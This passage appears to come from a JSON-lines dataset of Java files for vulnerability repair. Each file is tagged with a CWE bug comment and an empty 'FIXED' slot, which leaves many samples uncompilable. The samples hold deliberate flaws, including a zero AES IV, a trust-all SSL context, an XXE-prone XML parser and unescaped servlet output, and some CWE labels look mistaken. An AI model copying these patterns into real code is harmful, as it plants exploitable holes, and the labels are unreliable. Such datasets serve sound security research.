\u5bf9\u79f0\u5bc6\u94a5\n * @return \u660e\u6587\n */\n public static String decrypt(String cipherText, String key) {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] cleanBytes = cipher.doFinal(Base64.decode(cipherText.getBytes()));\n return new String(cleanBytes, AlipayConstants.DEFAULT_CHARSET);\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u89e3\u5bc6\u5931\u8d25\uff0ccipherText=\" + cipherText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u521d\u59cb\u5411\u91cf\u7684\u65b9\u6cd5\uff0c\u5168\u90e8\u4e3a0\n * \u8fd9\u91cc\u7684\u5199\u6cd5\u9002\u5408\u4e8e\u5176\u5b83\u7b97\u6cd5\uff0cAES\u7b97\u6cd5IV\u503c\u4e00\u5b9a\u662f128\u4f4d\u7684(16\u5b57\u8282)\n */\n private static byte[] initIV() {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n int blockSize = cipher.getBlockSize();\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n } catch (Exception e) {\n int blockSize = 16;\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n }\n }\n}"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.stream.Collectors;\n\n/**\n * A mock API that just returns JSON data under the json-logs/sample directory.\n */\n@WebServlet\n@Slf4j\npublic class MockSlackApi extends HttpServlet {\n\n public static final String ValidToken = \"xoxb-this-is-valid\";\n public static final String InvalidToken = \"xoxb-this-is-INVALID\";\n\n private final FileReader reader = new FileReader(\"../json-logs/samples/api/\");\n\n @Override\n protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {\n try (InputStream is = req.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader br = new BufferedReader(isr)) {\n String requestBody = br.lines().collect(Collectors.joining());\n log.info(\"request body: {}\", requestBody);\n }\n String methodName = req.getRequestURI().replaceFirst(\"^/api/\", \"\");\n if (!methodName.equals(\"api.test\") && !methodName.startsWith(\"oauth.\")) {\n String authorizationHeader = req.getHeader(\"Authorization\");\n if (authorizationHeader == null || authorizationHeader.trim().isEmpty()) {\n resp.setStatus(200);\n resp.getWriter().write(\"{\\\"ok\\\":false,\\\"error\\\":\\\"not_authed\\\"}\");\n resp.setContentType(\"application/json\");\n return;\n } else if (!authorizationHeader.equals(\"Bearer \" + ValidToken)) {\n resp.setStatus(200);\n resp.getWriter().write(\"{\\\"ok\\\":false,\\\"error\\\":\\\"invalid_auth\\\"}\");\n resp.setContentType(\"application/json\");\n return;\n }\n }\n\n String body = reader.readWholeAsString(methodName + \".json\");\n body = body.replaceFirst(\"\\\"ok\\\": false,\", \"\\\"ok\\\": true,\");\n\n if (methodName.equals(\"auth.test\")) {\n body = \"{\\n\" +\n \" \\\"ok\\\": true,\\n\" +\n \" \\\"url\\\": \\\"https://java-slack-sdk-test.slack.com/\\\",\\n\" +\n \" \\\"team\\\": \\\"java-slack-sdk-test\\\",\\n\" +\n \" \\\"user\\\": \\\"test_user\\\",\\n\" +\n \" \\\"team_id\\\": \\\"T1234567\\\",\\n\" +\n \" \\\"user_id\\\": \\\"U1234567\\\",\\n\" +\n \" \\\"bot_id\\\": \\\"B12345678\\\",\\n\" +\n \" \\\"enterprise_id\\\": \\\"E12345678\\\",\\n\" +\n \" \\\"error\\\": \\\"\\\"\\n\" +\n \"}\";\n }\n if (body == null || body.trim().isEmpty()) {\n resp.setStatus(400);\n return;\n }\n resp.setStatus(200);\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// resp.getWriter().write(body);\n// FIXED: \n\n \n\n resp.setContentType(\"application/json\");\n }\n\n}\n"} {"language": "java", "text": "package net.sf.borg.model.sync.ical;\n\nimport org.apache.commons.httpclient.HttpClientError;\nimport org.apache.commons.httpclient.params.HttpConnectionParams;\nimport org.apache.commons.httpclient.protocol.ControllerThreadSocketFactory;\nimport org.apache.commons.httpclient.protocol.SecureProtocolSocketFactory;\n\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.TrustManager;\nimport java.io.IOException;\nimport java.net.InetAddress;\nimport java.net.Socket;\nimport java.util.logging.Logger;\n\n\npublic class EasySslProtocolSocketFactory implements SecureProtocolSocketFactory\n{ \n /** Log object for this class. */\n\tstatic private final Logger LOG = Logger.getLogger(\"net.sf.borg\");\n\nprivate SSLContext sslcontext = null;\n\n /**\n * Constructor for EasySSLProtocolSocketFactory.\n */\n public EasySslProtocolSocketFactory()\n {\n super();\n }\n\n /**\n * @see SecureProtocolSocketFactory#createSocket(java.lang.String,int,java.net.InetAddress,int)\n */\n public Socket createSocket(String host, int port, InetAddress clientHost, int clientPort)\n throws IOException {\n return getSSLContext().getSocketFactory().createSocket(host, port, clientHost, clientPort);\n }\n\n \n public Socket createSocket(final String host, final int port, final InetAddress localAddress, final int localPort,\n final HttpConnectionParams params) throws IOException {\n if (params == null)\n {\n throw new IllegalArgumentException(\"Parameters may not be null\");\n }\n\n int timeout = params.getConnectionTimeout();\n\n if (timeout == 0)\n {\n return createSocket(host, port, localAddress, localPort);\n }\n else\n {\n // To be eventually deprecated when migrated to Java 1.4 or above\n return ControllerThreadSocketFactory.createSocket(this, host, port, localAddress, localPort, timeout);\n }\n }\n\n /**\n * @see SecureProtocolSocketFactory#createSocket(java.lang.String,int)\n */\n public Socket createSocket(String host, int port) throws IOException {\n return getSSLContext().getSocketFactory().createSocket(host, port);\n }\n\n /**\n * @see SecureProtocolSocketFactory#createSocket(java.net.Socket,java.lang.String,int,boolean)\n */\n public Socket createSocket(Socket socket, String host, int port, boolean autoClose)\n throws IOException {\n return getSSLContext().getSocketFactory().createSocket(socket, host, port, autoClose);\n }\n\n public boolean equals(Object obj)\n {\n return ((obj != null) && obj.getClass().equals(EasySslProtocolSocketFactory.class));\n }\n\n public int hashCode()\n {\n return EasySslProtocolSocketFactory.class.hashCode();\n }\n\n private static SSLContext createEasySSLContext()\n {\n try\n {\n \n// BUG: CWE-326: Inadequate Encryption Strength\n// SSLContext context = SSLContext.getInstance(\"SSL\");\n// FIXED: \n\n \n\n context.init(null, new TrustManager[] { new EasyX509TrustManager(null) }, null);\n\n return context;\n }\n catch (Exception e)\n {\n LOG.severe(e.getMessage());\n throw new HttpClientError(e.toString());\n }\n }\n\n private SSLContext getSSLContext()\n {\n if (this.sslcontext == null)\n {\n this.sslcontext = createEasySSLContext();\n }\n\n return this.sslcontext;\n }\n}"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package com.huawei.esdk.fusioncompute.demo.utils;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.apache.log4j.Logger;\n\nimport com.google.gson.Gson;\nimport com.huawei.esdk.fusioncompute.local.model.FCSDKResponse;\nimport com.huawei.esdk.fusioncompute.local.model.PageList;\nimport com.huawei.esdk.fusioncompute.local.model.storage.Datastore;\n\npublic class GetDatastoreUrnServlet extends HttpServlet\n{\n\n /**\n * \u5e8f\u5217\u5316\u7248\u672c\u6807\u8bc6\n */\n private static final long serialVersionUID = 406215323069888871L;\n \n /**\n * log\u65e5\u5fd7\u5bf9\u8c61\n */\n private static final Logger LOGGER = Logger\n .getLogger(GetDatastoreUrnServlet.class);\n \n \n /**\n * gson\uff0c\u7528\u4e8e\u8f6c\u6362String\u548cjson\u4e4b\u95f4\u7684\u8f6c\u6362\n */\n private Gson gson = new Gson();\n\n @Override\n protected void doPost(\n HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException\n {\n doGet(request, response);\n }\n\n @Override\n protected void doGet(\n HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException\n {\n // \u83b7\u53d6\u9700\u8981\u8c03\u7528\u7684\u65b9\u6cd5\u540d\n String methodName = request.getParameter(\"method\");\n String resp = \"\";\n\n if (\"getDatastoreUrn\".equals(methodName))\n {\n // \u8bfb\u53d6Demo\u6240\u7528\u53c2\u6570\n resp = getDatastoreUrn(request);\n }\n\n // \u8f93\u51fa\u6d41\n PrintWriter pw = response.getWriter();\n // \u5c06\u7ed3\u679c\u653e\u5230\u6d4f\u89c8\u5668\u4e2d\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// pw.print(resp);\n// FIXED: \n\n \n\n // \u5173\u95ed\u8f93\u51fa\u6d41\n pw.close();\n }\n\n /**\n * \u8bfb\u53d6Demo\u6240\u7528\u53c2\u6570\n * \n * @param request\n * HttpServletRequest\u5bf9\u8c61\n * @return json\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n * @see\n * @since eSDK Cloud V100R003C20\n */\n @SuppressWarnings(\"unchecked\")\n public String getDatastoreUrn(HttpServletRequest request)\n {\n // \u5b9a\u4e49\u8fd4\u56de\u7ed3\u679c\n String response = null;\n\n LOGGER.info(\"Begin to read parameters.\");\n\n // \u83b7\u53d6Session\u5bf9\u8c61\n HttpSession session = request.getSession();\n // \u83b7\u53d6key\u4e3aDATASTORESRESOURCE_RES\u7684\u503c\n FCSDKResponse> resp = (FCSDKResponse>)session.getAttribute(\"DATASTORESRESOURCE_RES\");\n \n // \u6839\u636e\u63a5\u53e3\u8fd4\u56de\u6570\u636e\u751f\u6210JSON\u5b57\u7b26\u4e32\uff0c\u4ee5\u4fbf\u4e8e\u9875\u9762\u5c55\u793a\n response = gson.toJson(resp);\n LOGGER.info(\"Finish to read parameters, response is : \" + response);\n\n return response;\n }\n}\n"} {"language": "java", "text": "/*\n * The contents of this file are subject to the Mozilla Public License\n * Version 2.0 (the \"License\"); you may not use this file except in\n * compliance with the License. You may obtain a copy of the License at\n * https://www.mozilla.org/en-US/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\n * License for the specific language governing rights and limitations\n * under the License.\n *\n * The Original Code is \"Simplenlg\".\n *\n * The Initial Developer of the Original Code is Ehud Reiter, Albert Gatt and Dave Westwater.\n * Portions created by Ehud Reiter, Albert Gatt and Dave Westwater are Copyright (C) 2010-11 The University of Aberdeen. All Rights Reserved.\n *\n * Contributor(s): Ehud Reiter, Albert Gatt, Dave Westwater, Roman Kutlak, Margaret Mitchell, and Saad Mahamood.\n */\npackage simplenlg.server;\n\nimport java.io.FileNotFoundException;\nimport java.net.ServerSocket;\nimport java.net.URISyntaxException;\n\nimport junit.framework.TestCase;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\nimport simplenlg.util.TestUtility;\n\n/**\n * Tests for SimpleNLG Simple Server using the {@link simplenlg.xmlrealiser.XMLRealiser}\n *\n * @author Roman Kutlak\n */\npublic class ServerTest extends TestCase {\n\n\tprivate SimpleServer serverapp;\n\tprivate ServerSocket socket;\n\n\tprivate TestUtility testUtility;\n\n\t@Before\n\tprotected void setUp() {\n\t\ttestUtility = new TestUtility();\n\n\t\ttry {\n\t\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// socket = new ServerSocket(0);\n// FIXED: \n\n \n\n\t\t\tserverapp = new SimpleServer(socket);\n\t\t\tThread server = new Thread(serverapp);\n\t\t\tserver.setDaemon(true);\n\t\t\tserver.start();\n\t\t} catch(Exception e) {\n\t\t\tSystem.err.println(e.getMessage());\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@After\n\tprotected void tearDown() {\n\t\tserverapp.terminate();\n\t}\n\n\t@Test\n\tpublic void testSimpleServer() throws FileNotFoundException, URISyntaxException {\n\t\tassertNotNull(serverapp);\n\n\t\tString expected = \"Put the piano and the drum into the truck.\";\n\n\t\tString request = testUtility.getResourceFileAsString(\"XMLSimpleClient/XMLSimpleClientTest.xml\");\n\t\tSimpleClientExample clientApp = new SimpleClientExample(request);\n\n\t\tString result = clientApp.run(\"localhost\", socket.getLocalPort());\n\n\t\t// Shutdown serverapp:\n\t\tserverapp.terminate();\n\n\t\tassertEquals(expected, result);\n\t}\n}\n"} {"language": "java", "text": "package com.javaconcepts.networking;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class SocketDemo {\n\t/*\n\t * The \"ServerSocket\" class is for the servers and they act as \"listeners\" in\n\t * the TCP/IP protocol. It is used to create servers that listen for either\n\t * local or remote client programs to connect to them on published ports. When\n\t * we create a ServerSocket, it will register itself with the system as having\n\t * an interest in client connections.\n\t */\n\t/*\n\t * The \"Socket\" class is for the clients. The creating of a Socket object\n\t * implicitly establishes a connection between the client and the server. It\n\t * defines many instance methods - getInetAddress(), getPort(), getLocalPort().\n\t * We can get access to the input and output streams associated with a Socket by\n\t * use of the \"getInputStream() and getOutputStream() methods and they will\n\t * throw IOException if the socket has been invlidated by a loss of connection.\"\n\t * Other important methods are connect(), isConnected(), isBound(), isClosed(),\n\t * close() etc.\n\t */\n\tpublic static void main(String[] args) throws Exception {\n\t\tint c;\n\t\t// create a socket connected to internic.net, port 43\n\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// Socket s = new Socket(\"whois.internic.net\", 43);\n// FIXED: \n\n \n\n\n\t\t// obtain input and output streams\n\t\tInputStream in = s.getInputStream();\n\t\tOutputStream out = s.getOutputStream();\n\n\t\t// construct a request string\n\t\tString str = (args.length == 0 ? \"OraclePressBooks.com\" : args[0]) + \"\\n\";\n\n\t\t// convert to bytes\n\t\tbyte[] buf = str.getBytes();\n\n\t\t// send request\n\t\tout.write(buf);\n\n\t\t// read and display reponse\n\t\twhile ((c = in.read()) != -1) {\n\t\t\tSystem.out.print((char) c);\n\t\t}\n\t\ts.close();\n\t}\n\n}\n"} {"language": "java", "text": "/*\n * @description \n * bad case class is not serializable. \n * good case class is serializable.\n * \n * */\n\n/* note on servlets - when a new Servlet is created, it must be listed in the web.xml\n * file in order to run. The easy way to do this is in Eclipse:\n * - right click on testcases in package explorer\n * - select New->Servlet\n * - Check the box that says use an existing Servlet class or JSP\n * - Click browse and select the new Servlet class you have created\n * - Click OK, Next, then Finish \n * - You should now be able to test the servlet by clicking Run in eclipse \n */\n\npackage testcases.CWE579_Non_Serializable_in_Session;\n\nimport java.io.IOException;\nimport java.io.Serializable;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport testcasesupport.AbstractTestCaseServlet;\n\npublic class CWE579_Non_Serializable_in_Session__Servlet_01 extends AbstractTestCaseServlet \n{\n private static final long serialVersionUID = 1L;\n\n static class BadObject /* FLAW: non-serializable object being set in session */\n {\n public String badString = \"Bad\";\n }\n \n static class GoodObject implements Serializable /* FIX: serializable object being set in session */\n {\n private static final long serialVersionUID = 7925935052619185041L; \n public String goodString = \"Good\";\n }\n \n public void bad(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n\n BadObject badObject = new BadObject();\n request.getSession(true).setAttribute(\"BadObject\", badObject);\n \n response.getWriter().println(((BadObject)request.getSession().getAttribute(\"BadObject\")).badString);\n }\n\n private void good1(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n\n GoodObject goodObject = new GoodObject();\n request.getSession(true).setAttribute(\"GoodObject\", goodObject);\n \n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// response.getWriter().println(((GoodObject)request.getSession().getAttribute(\"GoodObject\")).goodString);\n// FIXED: \n\n \n\n }\n \n public void good(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n good1(request, response);\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package com.ql.util.express.console;\n\nimport java.io.FileInputStream;\nimport java.io.InputStream;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathConstants;\nimport javax.xml.xpath.XPathFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Node;\n\npublic class ReadExample {\n public static void main(String[] args) throws Exception {\n String fileName = \"E:\\\\taobaocode\\\\QLExpress\\\\trunk\\\\example\\\\simple.ql\";\n InputStream in = new FileInputStream(fileName);\n readExampleDefine(in);\n }\n\n public static ExampleDefine readExampleDefine(String fileName) throws Exception {\n InputStream in = new FileInputStream(fileName);\n return readExampleDefine(in);\n }\n\n public static ExampleDefine readExampleDefine(InputStream in) throws Exception {\n DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n \n// BUG: CWE-611: Improper Restriction of XML External Entity Reference\n// DocumentBuilder dbd = dbf.newDocumentBuilder();\n// FIXED: \n\n \n\n Document doc = dbd.parse(in);\n XPathFactory f = XPathFactory.newInstance();\n XPath path = f.newXPath();\n Node scriptNode = (Node)path.evaluate(\"example/script\", doc, XPathConstants.NODE);\n String script = scriptNode.getTextContent().trim();\n Node contextNode = (Node)path.evaluate(\"example/context\", doc, XPathConstants.NODE);\n String context = contextNode.getTextContent().trim();\n return new ExampleDefine(script, context);\n }\n}\n"} {"language": "java", "text": "/*\n * @description \n * bad case class is not serializable. \n * good case class is serializable.\n * \n * */\n\n/* note on servlets - when a new Servlet is created, it must be listed in the web.xml\n * file in order to run. The easy way to do this is in Eclipse:\n * - right click on testcases in package explorer\n * - select New->Servlet\n * - Check the box that says use an existing Servlet class or JSP\n * - Click browse and select the new Servlet class you have created\n * - Click OK, Next, then Finish \n * - You should now be able to test the servlet by clicking Run in eclipse \n */\n\npackage testcases.CWE579_Non_Serializable_in_Session;\n\nimport java.io.IOException;\nimport java.io.Serializable;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport testcasesupport.AbstractTestCaseServlet;\n\npublic class CWE579_Non_Serializable_in_Session__Servlet_01 extends AbstractTestCaseServlet \n{\n private static final long serialVersionUID = 1L;\n\n static class BadObject /* FLAW: non-serializable object being set in session */\n {\n public String badString = \"Bad\";\n }\n \n static class GoodObject implements Serializable /* FIX: serializable object being set in session */\n {\n private static final long serialVersionUID = 7925935052619185041L; \n public String goodString = \"Good\";\n }\n \n public void bad(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n\n BadObject badObject = new BadObject();\n request.getSession(true).setAttribute(\"BadObject\", badObject);\n \n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// response.getWriter().println(((BadObject)request.getSession().getAttribute(\"BadObject\")).badString);\n// FIXED: \n\n \n\n }\n\n private void good1(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n\n GoodObject goodObject = new GoodObject();\n request.getSession(true).setAttribute(\"GoodObject\", goodObject);\n \n response.getWriter().println(((GoodObject)request.getSession().getAttribute(\"GoodObject\")).goodString);\n }\n \n public void good(HttpServletRequest request, HttpServletResponse response) throws IOException \n {\n good1(request, response);\n }\n}\n"} {"language": "java", "text": "package com.scudata.ide.common;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.InetAddress;\nimport java.net.ServerSocket;\nimport java.net.Socket;\n\nimport javax.swing.JFrame;\nimport javax.swing.JOptionPane;\nimport javax.swing.SwingUtilities;\n\n/**\n * To prevent starting multiple IDEs. Use TcpServer to check whether the IDE is\n * started.\n *\n */\npublic class TcpServer extends Thread {\n\t/**\n\t * IDE frame\n\t */\n\tprivate IAppFrame frame;\n\n\t/**\n\t * Server port\n\t */\n\tprivate int port;\n\n\t/**\n\t * Constructor\n\t * \n\t * @param port\n\t * Server port\n\t * @param frame\n\t * IDE frame\n\t */\n\tpublic TcpServer(int port, IAppFrame frame) {\n\t\tthis.port = port;\n\t\tthis.frame = frame;\n\t}\n\n\t/**\n\t * Server run\n\t */\n\tpublic void run() {\n\t\tServerSocket ss = null;\n\t\ttry {\n\t\t\tString str = \"127.0.0.1\";\n\t\t\tString[] ipStr = str.split(\"\\\\.\");\n\t\t\tbyte[] ipBuf = new byte[4];\n\t\t\tfor (int i = 0; i < 4; i++) {\n\t\t\t\tipBuf[i] = (byte) (Integer.parseInt(ipStr[i]) & 0xFF);\n\t\t\t}\n\t\t\tInetAddress add = InetAddress.getByAddress(ipBuf);\n\t\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// ss = new ServerSocket(port, 10, add);\n// FIXED: \n\n \n\n\t\t\twhile (true) {\n\t\t\t\ttry {\n\t\t\t\t\tSocket s = ss.accept();\n\t\t\t\t\tInputStream is = s.getInputStream();\n\t\t\t\t\tbyte[] buffer = new byte[1024];\n\t\t\t\t\tint len = is.read(buffer);\n\t\t\t\t\tString file = new String(buffer, 0, len);\n\n\t\t\t\t\tif (file.equals(\"GetWindowTitle\")) {\n\t\t\t\t\t\tOutputStream os = s.getOutputStream();\n\t\t\t\t\t\tString wTitle = ((JFrame) frame).getTitle();\n\t\t\t\t\t\tos.write(wTitle.getBytes());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (file.startsWith(\"\\\"\")) {\n\t\t\t\t\t\t\tfile = file.substring(1, file.length() - 1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfinal String sfile = file;\n\t\t\t\t\t\tSwingUtilities.invokeLater(new Thread() {\n\t\t\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tframe.openSheetFile(sfile);\n\t\t\t\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t\t\t\tGM.showException(e);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\ts.close();\n\t\t\t\t} catch (Throwable x) {\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tfinal String error = e.getMessage();\n\t\t\tSwingUtilities.invokeLater(new Thread() {\n\t\t\t\tpublic void run() {\n\t\t\t\t\tJOptionPane.showMessageDialog(null, \"Socket port: \" + port\n\t\t\t\t\t\t\t+ \" creation failed: \" + error);\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t\t});\n\t\t} finally {\n\t\t\tif (ss != null)\n\t\t\t\ttry {\n\t\t\t\t\tss.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t}\n\t\t}\n\t}\n\n}\n"} {"language": "java", "text": "/*\n * The contents of this file are subject to the Mozilla Public License\n * Version 2.0 (the \"License\"); you may not use this file except in\n * compliance with the License. You may obtain a copy of the License at\n * https://www.mozilla.org/en-US/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\n * License for the specific language governing rights and limitations\n * under the License.\n *\n * The Original Code is \"Simplenlg\".\n *\n * The Initial Developer of the Original Code is Ehud Reiter, Albert Gatt and Dave Westwater.\n * Portions created by Ehud Reiter, Albert Gatt and Dave Westwater are Copyright (C) 2010-11 The University of Aberdeen. All Rights Reserved.\n *\n * Contributor(s): Ehud Reiter, Albert Gatt, Dave Westwater, Roman Kutlak, Margaret Mitchell, and Saad Mahamood.\n */\npackage simplenlg.server;\n\nimport java.io.DataInputStream;\nimport java.io.DataOutputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\nimport org.junit.Ignore;\n\n/**\n * An example implementation of a java client.\n *

\n * The client application can be implemented in any\n * language as long as the protocol is obeyed.\n *

\n * The protocol is: client sends an integer signalling\n * the length of the message and then it sends raw UTF-8\n * bytes. The server parses the bytes into the original\n * UTF-8 string and then parse the string as nlg:Request.\n *

\n * The server responds by sending an integer with\n * the number of bytes to follow and then the raw bytes.\n *\n * @author Roman Kutlak\n */\n@Ignore\npublic class SimpleClientExample {\n\n\tprivate String request;\n\n\tpublic SimpleClientExample(String request) {\n\t\tthis.request = request;\n\t}\n\n\t/**\n\t * Executes the {@link SimpleClientExample} by connecting to the {@link SimpleServer} and\n\t * sending an XML Request to realise.\n\t *\n\t * @param serverAddress -- The sever address to user e.g. \"localhost\"\n\t * @param port -- The port number to use.\n\t * @return The realised {@link String} output from the {@link simplenlg.xmlrealiser.XMLRealiser}.\n\t */\n\tprotected String run(String serverAddress, int port) {\n\t\ttry {\n\t\t\tSystem.out.println(\"Connecting to \" + serverAddress + \" on port \" + port);\n\t\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// Socket client = new Socket(serverAddress, port);\n// FIXED: \n\n \n\n\t\t\tOutputStream outToServer = client.getOutputStream();\n\t\t\tDataOutputStream out = new DataOutputStream(outToServer);\n\n\t\t\tbyte[] tmp = request.getBytes(\"UTF-8\");\n\t\t\tout.writeInt(tmp.length);\n\t\t\tout.write(tmp);\n\n\t\t\tInputStream inFromServer = client.getInputStream();\n\t\t\tDataInputStream in = new DataInputStream(inFromServer);\n\t\t\tint len = in.readInt();\n\t\t\tbyte[] data = new byte[len];\n\t\t\t// read the entire message (blocks until complete)\n\t\t\tin.readFully(data);\n\n\t\t\tString text = new String(data, \"UTF-8\");\n\n\t\t\tSystem.out.println(\"Realisation: \" + text);\n\n\t\t\tclient.close();\n\n\t\t\treturn text;\n\t\t} catch(Exception e) 